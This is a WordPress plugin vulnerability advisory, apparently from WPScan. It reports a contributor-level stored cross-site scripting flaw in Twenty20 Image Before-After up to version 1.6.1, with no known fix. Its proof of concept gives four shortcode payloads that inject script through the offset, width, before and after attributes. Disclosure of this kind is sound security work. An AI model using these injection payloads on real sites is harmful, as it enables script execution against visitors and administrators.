WordPress Plugin Vulnerabilities
Twenty20 Image Before-After <= 1.6.1 - Contributor+ Stored XSS
Description
The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks
Proof of Concept
v <= 1.6.1 [twenty20 img1='test1.jpg' img2='test2.jpg' offset='1})});alert(/XSS-offset-/)//'] v < 1.5.9 [twenty20 img1='test1.jpg' img2='test2.jpg' width='100px;height:100px;background:red;" onmouseover="alert(/XSS-width/)"'] [twenty20 img1='test1.jpg' img2='test2.jpg' before='")});alert(/XSS-before/)//'] [twenty20 img1='test1.jpg' img2='test2.jpg' after='")});alert(/XSS-after/)//']
Affects Plugins
No known fix References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-01-23 (about 1 years ago)
Added
2023-01-23 (about 1 years ago)
Last Updated
2023-03-23 (about 1 years ago)
WPScan 